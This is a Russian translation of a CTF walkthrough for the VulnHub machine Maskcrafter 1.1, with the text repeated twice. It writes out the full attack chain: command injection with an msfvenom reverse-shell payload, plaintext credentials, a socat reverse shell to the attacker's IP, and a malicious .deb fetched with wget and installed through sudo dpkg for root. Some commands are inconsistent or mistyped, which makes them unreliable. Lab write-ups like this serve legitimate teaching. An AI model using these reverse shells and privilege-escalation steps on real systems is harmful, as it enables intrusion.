Введение
Сегодня мы собираемся взломать эту уязвимую машину под названием Maskcrafter: 1.1. Она создан пользователем evdaez. Это простая задача типа Boot to root. Нам нужно получить права root на машине и прочитать флаг root, чтобы выполнить задание. В целом, это была промежуточная машина для взлома.
Загрузите машину отсюда (https://www.vulnhub.com/entry/maskcrafter-11,445/).
Методология пентеста
- Сетевое сканирование
* Netdiscover
* Nmap
- Перечисление
* Анонимный вход по FTP
* Перечисление FTP для подсказок
* Перечисления каталога /debug
- Эксплуатация
* Создание полезной нагрузки с использованием msfvenom
* Эксплуатация инжекции команд
- Постэксплуатация
* Перечисление базы данных MySQL
* Распаковка cred.zip
* Вход по SSH
* Перечисление разрешений Sudo
* Эксплуатация разрешений Sudo в пользовательском скрипте
* Перечисление разрешений Sudo
* Эксплуатация разрешений Sudo на socat
- Повышение привилегий
* Перечисление разрешений Sudo
* Создание установочного пакета deb с использованием fpm
* Установка вредоносного пакета с помощью dpkg
- Чтение рут флага
Сетевое сканирование
Чтобы атаковать любую машину, нам нужно найти IP-адрес машины. Это можно сделать с помощью команды netdiscover. Чтобы найти IP-адрес, нам нужно связать MAC-адрес машины, который можно получить из параметра конфигурации виртуальной машины.
IP-адрес устройства был 192.168.1.110.
После сканирования netdiscover нам потребуется просканировать Nmap, чтобы получить информацию о службе, запущенной на виртуальной машине. Агрессивное сканирование Nmap показывает, что сть 5 служб: FTP(21), SSH(22), HTTP(80), RPC(111), NFS(2049).
Перечисление
Начнем этап перечисления с FTP-сервиса. Из сканирования Nmap ясно, что FTP разрешает анонимный вход. Мы попали внутрь, используя это. Мы получили содержимое и нашли каталог pub. В каталогах pub мы находим 3 файла. Файл NOTES.txt, zip-файл с именем cred.zip и файл php с именем rce. Довольно удобно. Давайте загрузим все файлы в нашу локальную систему, чтобы изучить их подробнее.
Сначала давайте проверим файл NOTES.txt. Он говорит, что существует веб-каталог с именем /debug. Он может содержать надежный пароль. Это делает невозможным использование брутфорса. Кроме того, имя пользователя - это admin, подтвержденный в примечании.
Мы пошли взглянуть в каталог debug. Нас встретила панель входа в систему. Мы знали, что имя пользователя — admin. Мы также попробовали admin в качестве пароля. И мы внутри. Это не казалось таким уж сложным. Она содержит 3 команды, которые можно выбрать и выполнить.
Мы используем BurpSuite для захвата запроса и анализа того, как команды отправляются команде для выполнения. Мы видим, что это простой параметр с командой в виде открытого текста.
Эксплуатация
Это означало, что мы можем создать полезную нагрузку, используя msfvenom в формате Raw, и использовать ее, чтобы использовать ее для получения сеанса.
Мы скопировали исходный код полезной нагрузки и заменили команду ifconfig в захваченном запросе в Burp Suite, как показано на изображении ниже:
Перед тем, как перенаправить запрос в приложение, мы запускаем прослушиватель netcat на указанном порту из msfvenom, то есть 1234. После этого мы пересылаем запрос и видим, что у нас есть сеанс на целевой машине. Мы используем однострочнЫй сценарий python для преобразования оболочки в оболочку TTY. У нас есть оболочка пользователя www-data.
Пост-Эксплуатация
Мы начинаем перечисление с каталога /var/www/. У нас есть каталог debug, о котором упоминалось ранее. Мы видим, что он содержит файл php с именем db.php. Мы открываем его, чтобы найти набор учетных данных для базы данных.
Затем мы подключаемся к базе данных, используя этот набор учетных данных. После подключения мы смотрим список баз данных. Среди баз только mydatabase показалась интересной. Мы заешли в нем, чтобы найти 2 таблицы по именам creds и login. Сначала мы перечислили все содержимое таблицы creds, чтобы найти zip-пароль cred12345!!
Мы вернулись на нашу локальную машину и использовали только что найденные учетные данные, чтобы разархивировать полученный ранее файл cred.zip. В нем был файл cred.txt. Он считывает другой набор учетных данных, как показано на изображении ниже.
Мы используем этот набор учетных данных для входа в систему как SSH.
После входа в систему на целевой машине через SSH мы использовали команду Sudo -l для вывода списка всех двоичных файлов, у которых есть разрешение на запуск с повышенными привилегиями. Мы нашли скрипт с названием whatsmyid.sh. Его может выполнить пользователь evdaeez. Открываем файл в редакторе nano.
Мы редактируем его, чтобы создать оболочку bash. Это так же просто, как написать в скрипте / bin / bash.
Мы попытались выполнить скрипт с помощью команды sudo с параметром u. Мы видим, что у нас есть оболочка от evdaez. Мы снова запускаем команду sudo -l, чтобы проверить наличие других двоичных файлов, которые могут привести нас к root. Мы видим, что socat имеет разрешение для пользователя resercherx. Давайте перейдем к пользователю resercherx, воспользовавшись этим разрешением на socat. Для этого у нас есть однострочный скрипт, который выполняет socat. Требуется удаленный хост и порт. Сначала мы определяем эти переменные в сеансе. Мы определяем переменную RHOST с локальным IP-адресом нашей Kali Linux или машины злоумышленника. Затем мы определяем переменную RPORT со случайным номером порта, например 12345. Затем мы выполним socat как пользователь resercherx и переменные, которые мы только что объявили.
Перед выполнением вышеуказанной команды мы запускаем прослушиватель socat для захвата сеанса, который может быть сгенерирован с целевой машины. Как только одна строка будет выполнена, мы получим сеанс на нашей локальной машине. Затем мы конвертируем эту оболочку в оболочку TTY с помощью скрипта python. Мы снова запустили команду sudo -l, чтобы проверить двоичные файлы и их разрешения. На этот раз у нас есть разрешения sudo для dpkg. Нам нужно эксплуатировать эту уязвимость, чтобы получить root-доступ к машине.
Повышение привилегий
Dpkg используется для установки пакетов и управления ими. Итак, чтобы получить оболочку корневого уровня от dpkg, нам нужно предоставить ей пакет для установки. Это будет злонамеренный вид, который может дать нам шелл. Мы добираемся до нашей локальной машины, чтобы выполнить эту задачу. Мы ищем dpkg на сайте GTFOBINS и найдем удобный способ поднять привилегии с помощью dpkg. Нам нужно создать пакет с помощью fpm, а затем, когда он будет установлен с помощью dpkg, он предоставит нам рут шелл оболочку. Сначала мы определяем переменную TF с помощью команды mktemp, которая при выполнении создает временный каталог. Затем мы вводим команду вызова оболочки в файл оболочки в TF. Наконец, используя fpm, мы поместили содержимое TF в пакет. Полученный пакет называется x_1.0_all.deb. Мы запустили скрипт python, чтобы создать HTTP-сервер и передать этот файл deb на целевой компьютер.
Поскольку у нас нет разрешений на запись в любом месте приложения, мы вошли во временный каталог и загрузили файл deb с помощью команды wget. Теперь все, что осталось, это использовать dpkg с sudo для установки вредоносного файла deb, и у нас есть рут шелл.
Подтверждаем это с помощью команды id. Затем мы видим, что у нас есть рут флаг.
Источник https://www.hackingarticles.in/maskcrafter-1-1-vulnhub-walkthrough/
Автор перевода: yashechka
Переведено специально для https://xss.pro
Сегодня мы собираемся взломать эту уязвимую машину под названием Maskcrafter: 1.1. Она создан пользователем evdaez. Это простая задача типа Boot to root. Нам нужно получить права root на машине и прочитать флаг root, чтобы выполнить задание. В целом, это была промежуточная машина для взлома.
Загрузите машину отсюда (https://www.vulnhub.com/entry/maskcrafter-11,445/).
Методология пентеста
- Сетевое сканирование
* Netdiscover
* Nmap
- Перечисление
* Анонимный вход по FTP
* Перечисление FTP для подсказок
* Перечисления каталога /debug
- Эксплуатация
* Создание полезной нагрузки с использованием msfvenom
* Эксплуатация инжекции команд
- Постэксплуатация
* Перечисление базы данных MySQL
* Распаковка cred.zip
* Вход по SSH
* Перечисление разрешений Sudo
* Эксплуатация разрешений Sudo в пользовательском скрипте
* Перечисление разрешений Sudo
* Эксплуатация разрешений Sudo на socat
- Повышение привилегий
* Перечисление разрешений Sudo
* Создание установочного пакета deb с использованием fpm
* Установка вредоносного пакета с помощью dpkg
- Чтение рут флага
Сетевое сканирование
Чтобы атаковать любую машину, нам нужно найти IP-адрес машины. Это можно сделать с помощью команды netdiscover. Чтобы найти IP-адрес, нам нужно связать MAC-адрес машины, который можно получить из параметра конфигурации виртуальной машины.
IP-адрес устройства был 192.168.1.110.
После сканирования netdiscover нам потребуется просканировать Nmap, чтобы получить информацию о службе, запущенной на виртуальной машине. Агрессивное сканирование Nmap показывает, что сть 5 служб: FTP(21), SSH(22), HTTP(80), RPC(111), NFS(2049).
nmap -A 192.168.1.110
Перечисление
Начнем этап перечисления с FTP-сервиса. Из сканирования Nmap ясно, что FTP разрешает анонимный вход. Мы попали внутрь, используя это. Мы получили содержимое и нашли каталог pub. В каталогах pub мы находим 3 файла. Файл NOTES.txt, zip-файл с именем cred.zip и файл php с именем rce. Довольно удобно. Давайте загрузим все файлы в нашу локальную систему, чтобы изучить их подробнее.
Bash:
ftp 192.168.1.110
Anonymous
ls
cd pub
ls
get NOTES.txt
get cred.zip
get rce.php
Сначала давайте проверим файл NOTES.txt. Он говорит, что существует веб-каталог с именем /debug. Он может содержать надежный пароль. Это делает невозможным использование брутфорса. Кроме того, имя пользователя - это admin, подтвержденный в примечании.
Bash:
cat NOTES.txt
Мы пошли взглянуть в каталог debug. Нас встретила панель входа в систему. Мы знали, что имя пользователя — admin. Мы также попробовали admin в качестве пароля. И мы внутри. Это не казалось таким уж сложным. Она содержит 3 команды, которые можно выбрать и выполнить.
Мы используем BurpSuite для захвата запроса и анализа того, как команды отправляются команде для выполнения. Мы видим, что это простой параметр с командой в виде открытого текста.
Эксплуатация
Это означало, что мы можем создать полезную нагрузку, используя msfvenom в формате Raw, и использовать ее, чтобы использовать ее для получения сеанса.
Bash:
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.112 lport=1234 R
Мы скопировали исходный код полезной нагрузки и заменили команду ifconfig в захваченном запросе в Burp Suite, как показано на изображении ниже:
Перед тем, как перенаправить запрос в приложение, мы запускаем прослушиватель netcat на указанном порту из msfvenom, то есть 1234. После этого мы пересылаем запрос и видим, что у нас есть сеанс на целевой машине. Мы используем однострочнЫй сценарий python для преобразования оболочки в оболочку TTY. У нас есть оболочка пользователя www-data.
Bash:
nc -lvp 1234
id
python -c 'import pty; pty.spawn("/bin/bash")'
id
Пост-Эксплуатация
Мы начинаем перечисление с каталога /var/www/. У нас есть каталог debug, о котором упоминалось ранее. Мы видим, что он содержит файл php с именем db.php. Мы открываем его, чтобы найти набор учетных данных для базы данных.
Bash:
ls
cat db.php
Затем мы подключаемся к базе данных, используя этот набор учетных данных. После подключения мы смотрим список баз данных. Среди баз только mydatabase показалась интересной. Мы заешли в нем, чтобы найти 2 таблицы по именам creds и login. Сначала мы перечислили все содержимое таблицы creds, чтобы найти zip-пароль cred12345!!
Bash:
mysql -u web -p
P@ssw0rdweb
show databases;
use mydatabase;
show tables;
select * from creds;
Мы вернулись на нашу локальную машину и использовали только что найденные учетные данные, чтобы разархивировать полученный ранее файл cred.zip. В нем был файл cred.txt. Он считывает другой набор учетных данных, как показано на изображении ниже.
Bash:
unzip cred.zip
cat cred.txt
Мы используем этот набор учетных данных для входа в систему как SSH.
Username: userx
Password: thisismypasswordforuserx2020
После входа в систему на целевой машине через SSH мы использовали команду Sudo -l для вывода списка всех двоичных файлов, у которых есть разрешение на запуск с повышенными привилегиями. Мы нашли скрипт с названием whatsmyid.sh. Его может выполнить пользователь evdaeez. Открываем файл в редакторе nano.
Bash:
ssh userx@192.168.1.110
sudo -l
Мы редактируем его, чтобы создать оболочку bash. Это так же просто, как написать в скрипте / bin / bash.
#!bin/bash
/bin/bash
Мы попытались выполнить скрипт с помощью команды sudo с параметром u. Мы видим, что у нас есть оболочка от evdaez. Мы снова запускаем команду sudo -l, чтобы проверить наличие других двоичных файлов, которые могут привести нас к root. Мы видим, что socat имеет разрешение для пользователя resercherx. Давайте перейдем к пользователю resercherx, воспользовавшись этим разрешением на socat. Для этого у нас есть однострочный скрипт, который выполняет socat. Требуется удаленный хост и порт. Сначала мы определяем эти переменные в сеансе. Мы определяем переменную RHOST с локальным IP-адресом нашей Kali Linux или машины злоумышленника. Затем мы определяем переменную RPORT со случайным номером порта, например 12345. Затем мы выполним socat как пользователь resercherx и переменные, которые мы только что объявили.
Bash:
sudo -u evdaez /scripts/whatsmyid.sh
sudo -l
RHOSTS=192.168.1.112
RPORT=12345
sudo -u resercherx socat tcp-connection:$RHOST:$RPORT exec:/bin/sh.pty,stderr,setsid,sigint,sane
Перед выполнением вышеуказанной команды мы запускаем прослушиватель socat для захвата сеанса, который может быть сгенерирован с целевой машины. Как только одна строка будет выполнена, мы получим сеанс на нашей локальной машине. Затем мы конвертируем эту оболочку в оболочку TTY с помощью скрипта python. Мы снова запустили команду sudo -l, чтобы проверить двоичные файлы и их разрешения. На этот раз у нас есть разрешения sudo для dpkg. Нам нужно эксплуатировать эту уязвимость, чтобы получить root-доступ к машине.
Bash:
socat file:'tty',raw,echo=0 tcp-listen:12345
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l
Повышение привилегий
Dpkg используется для установки пакетов и управления ими. Итак, чтобы получить оболочку корневого уровня от dpkg, нам нужно предоставить ей пакет для установки. Это будет злонамеренный вид, который может дать нам шелл. Мы добираемся до нашей локальной машины, чтобы выполнить эту задачу. Мы ищем dpkg на сайте GTFOBINS и найдем удобный способ поднять привилегии с помощью dpkg. Нам нужно создать пакет с помощью fpm, а затем, когда он будет установлен с помощью dpkg, он предоставит нам рут шелл оболочку. Сначала мы определяем переменную TF с помощью команды mktemp, которая при выполнении создает временный каталог. Затем мы вводим команду вызова оболочки в файл оболочки в TF. Наконец, используя fpm, мы поместили содержимое TF в пакет. Полученный пакет называется x_1.0_all.deb. Мы запустили скрипт python, чтобы создать HTTP-сервер и передать этот файл deb на целевой компьютер.
Bash:
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
ls
python -m SimpleHTTPServer
Поскольку у нас нет разрешений на запись в любом месте приложения, мы вошли во временный каталог и загрузили файл deb с помощью команды wget. Теперь все, что осталось, это использовать dpkg с sudo для установки вредоносного файла deb, и у нас есть рут шелл.
Подтверждаем это с помощью команды id. Затем мы видим, что у нас есть рут флаг.
Bash:
cd /tmp
wget http://192.168.1.112:8000/s_1.0_all.deb
sudo dpkg -i x_1.0_all.deb
id
cd /root
ls
cat root.txt
Источник https://www.hackingarticles.in/maskcrafter-1-1-vulnhub-walkthrough/
Автор перевода: yashechka
Переведено специально для https://xss.pro